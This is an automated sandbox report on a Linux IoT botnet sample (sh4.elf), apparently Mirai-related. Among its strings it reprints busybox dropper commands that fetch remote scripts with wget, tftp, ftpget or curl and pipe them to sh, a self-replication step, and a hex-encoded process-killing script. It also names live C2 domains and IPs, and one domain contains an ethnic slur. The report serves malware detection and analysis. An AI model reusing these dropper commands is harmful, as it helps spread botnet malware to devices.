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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1543115
MD5:	fbac27b91393fe08e11a8ada9f64523b
SHA1:	a0adb993ec8d919619a056268dcd515e9dbfc45d
SHA256:	28ba8ddf7b925ef995c4afb4b9d7dad2360f79de047645b905c9941010f2f7ed
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543115
Start date and time:	2024-10-27 09:14:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/95@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: sh4.elf

Runtime Messages

Command:	/tmp/sh4.elf
PID:	5555
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 5555, Parent: 5480, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

sh4.elf New Fork (PID: 5557, Parent: 5555)

sh4.elf New Fork (PID: 5559, Parent: 5557)

sh4.elf New Fork (PID: 5561, Parent: 5557)

sh4.elf New Fork (PID: 5562, Parent: 5557)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 57%

Source: sh4.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.15:35538 -> 185.150.24.67:38241
Source: global traffic	TCP traffic: 192.168.2.15:56942 -> 45.156.86.24:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 120.127.21.50
Source: unknown	TCP traffic detected without corresponding DNS query: 47.71.151.20
Source: unknown	TCP traffic detected without corresponding DNS query: 120.127.21.50
Source: unknown	TCP traffic detected without corresponding DNS query: 173.29.133.100
Source: unknown	TCP traffic detected without corresponding DNS query: 47.71.151.20
Source: unknown	TCP traffic detected without corresponding DNS query: 151.34.74.154
Source: unknown	TCP traffic detected without corresponding DNS query: 173.29.133.100
Source: unknown	TCP traffic detected without corresponding DNS query: 26.44.201.52
Source: unknown	TCP traffic detected without corresponding DNS query: 151.34.74.154
Source: unknown	TCP traffic detected without corresponding DNS query: 50.212.44.228
Source: unknown	TCP traffic detected without corresponding DNS query: 26.44.201.52
Source: unknown	TCP traffic detected without corresponding DNS query: 125.196.103.170
Source: unknown	TCP traffic detected without corresponding DNS query: 50.212.44.228
Source: unknown	TCP traffic detected without corresponding DNS query: 33.215.191.7
Source: unknown	TCP traffic detected without corresponding DNS query: 125.196.103.170
Source: unknown	TCP traffic detected without corresponding DNS query: 98.240.29.247
Source: unknown	TCP traffic detected without corresponding DNS query: 33.215.191.7
Source: unknown	TCP traffic detected without corresponding DNS query: 52.178.102.29
Source: unknown	TCP traffic detected without corresponding DNS query: 98.240.29.247
Source: unknown	TCP traffic detected without corresponding DNS query: 45.103.237.196
Source: unknown	TCP traffic detected without corresponding DNS query: 52.178.102.29
Source: unknown	TCP traffic detected without corresponding DNS query: 138.101.195.144
Source: unknown	TCP traffic detected without corresponding DNS query: 45.103.237.196
Source: unknown	TCP traffic detected without corresponding DNS query: 200.61.209.204
Source: unknown	TCP traffic detected without corresponding DNS query: 138.101.195.144
Source: unknown	TCP traffic detected without corresponding DNS query: 206.162.126.27
Source: unknown	TCP traffic detected without corresponding DNS query: 200.61.209.204
Source: unknown	TCP traffic detected without corresponding DNS query: 162.61.91.110
Source: unknown	TCP traffic detected without corresponding DNS query: 206.162.126.27
Source: unknown	TCP traffic detected without corresponding DNS query: 47.150.82.21
Source: unknown	TCP traffic detected without corresponding DNS query: 162.61.91.110
Source: unknown	TCP traffic detected without corresponding DNS query: 15.71.129.80
Source: unknown	TCP traffic detected without corresponding DNS query: 47.150.82.21
Source: unknown	TCP traffic detected without corresponding DNS query: 216.191.175.174
Source: unknown	TCP traffic detected without corresponding DNS query: 15.71.129.80
Source: unknown	TCP traffic detected without corresponding DNS query: 48.118.104.49
Source: unknown	TCP traffic detected without corresponding DNS query: 216.191.175.174
Source: unknown	TCP traffic detected without corresponding DNS query: 48.118.104.49
Source: unknown	TCP traffic detected without corresponding DNS query: 196.109.197.154
Source: unknown	TCP traffic detected without corresponding DNS query: 39.13.36.46
Source: unknown	TCP traffic detected without corresponding DNS query: 196.109.197.154
Source: unknown	TCP traffic detected without corresponding DNS query: 207.73.163.55
Source: unknown	TCP traffic detected without corresponding DNS query: 39.13.36.46
Source: unknown	TCP traffic detected without corresponding DNS query: 204.108.35.47
Source: unknown	TCP traffic detected without corresponding DNS query: 207.73.163.55
Source: unknown	TCP traffic detected without corresponding DNS query: 186.158.149.145
Source: unknown	TCP traffic detected without corresponding DNS query: 204.108.35.47
Source: unknown	TCP traffic detected without corresponding DNS query: 122.189.137.26
Source: unknown	TCP traffic detected without corresponding DNS query: 186.158.149.145
Source: unknown	TCP traffic detected without corresponding DNS query: 221.149.2.55

Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre

Source: sh4.elf	String found in binary or memory: http:///curl.sh
Source: sh4.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5580/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5580/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5591/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5591/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5591/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5591/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5581/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5581/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5592/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5592/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5582/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5593/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5593/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5583/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5594/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5594/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5584/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5595/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5595/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5585/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5586/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5586/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5586/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5586/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5565/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5565/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5587/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5587/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5587/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5587/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5590/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5590/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5590/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5590/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5577/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5577/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5588/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5578/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5578/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5589/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5589/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5589/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5589/cmdline	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5579/maps	Jump to behavior
Source: /tmp/sh4.elf (PID: 5561)	File opened: /proc/5579/cmdline	Jump to behavior

Source: sh4.elf, 5555.1.00007fffa2bb0000.00007fffa2bd1000.rw-.sdmp, sh4.elf, 5559.1.00007fffa2bb0000.00007fffa2bd1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5555.1.000055e66c333000.000055e66c396000.rw-.sdmp, sh4.elf, 5559.1.000055e66c333000.000055e66c396000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5555.1.000055e66c333000.000055e66c396000.rw-.sdmp, sh4.elf, 5559.1.000055e66c333000.000055e66c396000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5555.1.00007fffa2bb0000.00007fffa2bd1000.rw-.sdmp, sh4.elf, 5559.1.00007fffa2bb0000.00007fffa2bd1000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chinklabs.dyn	185.150.24.67	true	true		unknown
burnthe.libre	45.156.86.24	true	true		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
125.235.32.207	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
64.50.30.245	unknown	United States	2828	XO-AS15US	false
158.62.6.228	unknown	United States	32577	KROGERUS	false
118.178.206.196	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
191.76.233.249	unknown	Colombia	26611	COMCELSACO	false
88.45.151.197	unknown	Italy	3269	ASN-IBSNAZIT	false
63.239.231.185	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
107.218.139.51	unknown	United States	7018	ATT-INTERNET4US	false
107.41.179.252	unknown	United States	16567	NETRIX-16567US	false
64.174.73.198	unknown	United States	7132	SBIS-ASUS	false
93.218.6.1	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.163.185.224	unknown	Egypt	24863	LINKdotNET-ASEG	false
212.100.91.175	unknown	Nigeria	20598	CYBERSPACE-ASAutonomousSystemnumberforCyberSpaceIL	false
42.166.70.207	unknown	China	4249	LILLY-ASUS	false
114.211.84.99	unknown	China	9595	XEPHIONNTT-MECorporationJP	false
104.205.180.187	unknown	Canada	852	ASN852CA	false
206.162.126.27	unknown	United States	1239	SPRINTLINKUS	false
191.244.180.44	unknown	Brazil	22085	ClaroSABR	false
208.229.57.57	unknown	United States	4208	THE-ISERV-COMPANYUS	false
15.149.44.111	unknown	United States	71	HP-INTERNET-ASUS	false
189.165.237.201	unknown	Mexico	8151	UninetSAdeCVMX	false
106.121.148.33	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
22.191.204.28	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
136.224.120.253	unknown	United States	22174	NET-SUC-TECH-ALFUS	false
87.117.138.145	unknown	Russian Federation	41691	SUMTEL-AS-RIPEMoscowRussiaRU	false
71.107.42.10	unknown	United States	701	UUNETUS	false
6.48.196.61	unknown	United States	1463	DNIC-ASBLK-01462-01463US	false
202.15.194.39	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
203.133.74.224	unknown	Taiwan; Republic of China (ROC)	132046	SUNBRIDGE-PH-AS-AP3705Westofayala252SenGilPuyatAve	false
14.29.171.198	unknown	China	4816	CHINANET-IDC-GDChinaTelecomGroupCN	false
125.182.254.182	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
82.45.183.106	unknown	United Kingdom	5089	NTLGB	false
207.165.154.105	unknown	United States	6122	ICN-ASUS	false
151.99.155.220	unknown	Italy	3269	ASN-IBSNAZIT	false
1.216.113.94	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
154.138.186.229	unknown	Egypt	37069	MOBINILEG	false
27.164.221.253	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
68.217.110.227	unknown	United States	7018	ATT-INTERNET4US	false
128.228.183.177	unknown	United States	31822	CITY-UNIVERSITY-OF-NEW-YORKUS	false
20.187.1.37	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.163.185.224	eQDbi4l3JA.elf	Get hash	malicious	Mirai	Browse
	faecha.x86.elf	Get hash	malicious	Mirai	Browse
	sora.arm.elf	Get hash	malicious	Mirai	Browse
	nIofBL8NR5.elf	Get hash	malicious	Mirai	Browse
	tUas49B6DG	Get hash	malicious	Mirai	Browse
	WXIK6QiJMp	Get hash	malicious	Mirai	Browse
22.191.204.28	arm7-20220903-1046.elf	Get hash	malicious	Mirai	Browse
63.239.231.185	sora.arm7	Get hash	malicious	Mirai	Browse
189.165.237.201	cNodufKYLc.elf	Get hash	malicious	Mirai, Moobot	Browse
6.48.196.61	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse
107.218.139.51	phantom.arm.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	arm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
chinklabs.dyn	nabmpsl.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
chinklabs.dyn	jklarm.elf	Get hash	malicious	Unknown	Browse	185.150.24.67

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	jklx86.elf	Get hash	malicious	Unknown	Browse	114.215.13.70
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	101.134.79.205
	jklarm.elf	Get hash	malicious	Unknown	Browse	39.96.110.228
	mpsl.elf	Get hash	malicious	Unknown	Browse	8.145.212.95
	m68k.elf	Get hash	malicious	Mirai	Browse	47.116.232.175
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	139.240.110.233
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	47.109.61.131
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	223.6.81.78
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	47.104.117.37
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	8.153.215.142
XO-AS15US	ppc.elf	Get hash	malicious	Mirai	Browse	204.91.2.234
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	67.110.124.157
	kkkmips.elf	Get hash	malicious	Unknown	Browse	216.156.15.109
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	66.238.95.239
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	64.50.126.109
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	64.244.32.30
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	66.106.147.154
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	67.95.8.133
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	66.3.135.128
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	207.88.199.107
VIETEL-AS-APViettelGroupVN	jklarm5.elf	Get hash	malicious	Unknown	Browse	115.77.67.65
	mpsl.elf	Get hash	malicious	Unknown	Browse	125.234.17.164
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	27.73.132.233
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	171.229.1.242
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	171.234.71.209
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	117.2.18.23
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	27.73.3.230
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	27.69.253.77
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	27.66.52.24
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	116.96.160.21
KROGERUS	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	158.56.53.163
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	158.56.64.4
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	158.48.231.240
	6BTZGMvUv1.elf	Get hash	malicious	Unknown	Browse	158.56.53.195
	sora.arm.elf	Get hash	malicious	Mirai	Browse	158.60.165.235
	0xh0roxxnavebusyoo.arm7.elf	Get hash	malicious	Mirai	Browse	158.56.76.55
	S6hCRsyPaN.elf	Get hash	malicious	Mirai	Browse	158.48.231.205
	h5jtx8DXVf.elf	Get hash	malicious	Unknown	Browse	158.56.53.157
	mbkraX1GtP.elf	Get hash	malicious	Mirai	Browse	158.56.64.39
	dj4jBpJkg6.elf	Get hash	malicious	Mirai	Browse	158.56.64.8

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	sh4.elf	false		unknown
http:///curl.sh	sh4.elf	false		unknown

Process:	/tmp/sh4.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1616342875702634
Encrypted:	false
SSDEEP:	6:URe6gDFKZdFT/VcDFmVVC/VQEVl/VDM/V+4D/VH:IefOFm0PEVDMfF
MD5:	2D5F1162E97900FF76FA6AF0786737F9
SHA1:	6FECAF758FD1AAC8EFE404280F3BECB320D318BE
SHA-256:	B9E530D829B7DF78273C5EC9D5A14D2C1136CD1E94358F977FCDE76CBD669EEE
SHA-512:	96A05713DA58CFF121E0B3EB98A2B3C082100A558C71588DBC82205173AAC81FDE2602125C736BE9C618938FB76E1AA6197CFC77F136E8799D84800C3E666D1C
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..41d000-41e000 rw-p 0000d000 fd:00 531606 /tmp/..41e000-420000 rw-p 00000000 00:00 0 .420000-421000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.797538013729088
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	56'268 bytes
MD5:	fbac27b91393fe08e11a8ada9f64523b
SHA1:	a0adb993ec8d919619a056268dcd515e9dbfc45d
SHA256:	28ba8ddf7b925ef995c4afb4b9d7dad2360f79de047645b905c9941010f2f7ed
SHA512:	91a8099731196f95280e2e4b49c937280f96087c82e512dd4ced67275908304b90143a76eada5e53e6ddab4a105a4dde6fb18c6aae64462992a7bdcb0a97ed56
SSDEEP:	1536:1aGwt4zMeoDRBoTn/Hho5dbSlCignI8sR:1RBMeoDCZ+xSlcnI
TLSH:	CD438D76C42DADD4D14C41F4A83189B42F47A210D65B2EFF7A85C4A64043ABDFA9E3F1
File Content Preview:	.ELF.....................@.4...........4. ...(...............@...@.P...P...............T...T.A.T.A.\|...............Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55828
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xc720	0x0	0x6	AX	32
.fini	PROGBITS	0x40c800	0xc800	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c824	0xc824	0x102c	0x0	0x2	A	4
.ctors	PROGBITS	0x41d854	0xd854	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41d85c	0xd85c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x41d864	0xd864	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x41d868	0xd868	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x41d9d0	0xd9d0	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xd9d0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd850	0xd850	6.8432	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd854	0x41d854	0x41d854	0x17c	0x1314	0.8889	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 09:15:27.562851906 CET	192.168.2.15	194.36.144.87	0xa6be	Standard query (0)	chinklabs.dyn	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:30.239598989 CET	192.168.2.15	194.36.144.87	0x992f	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false

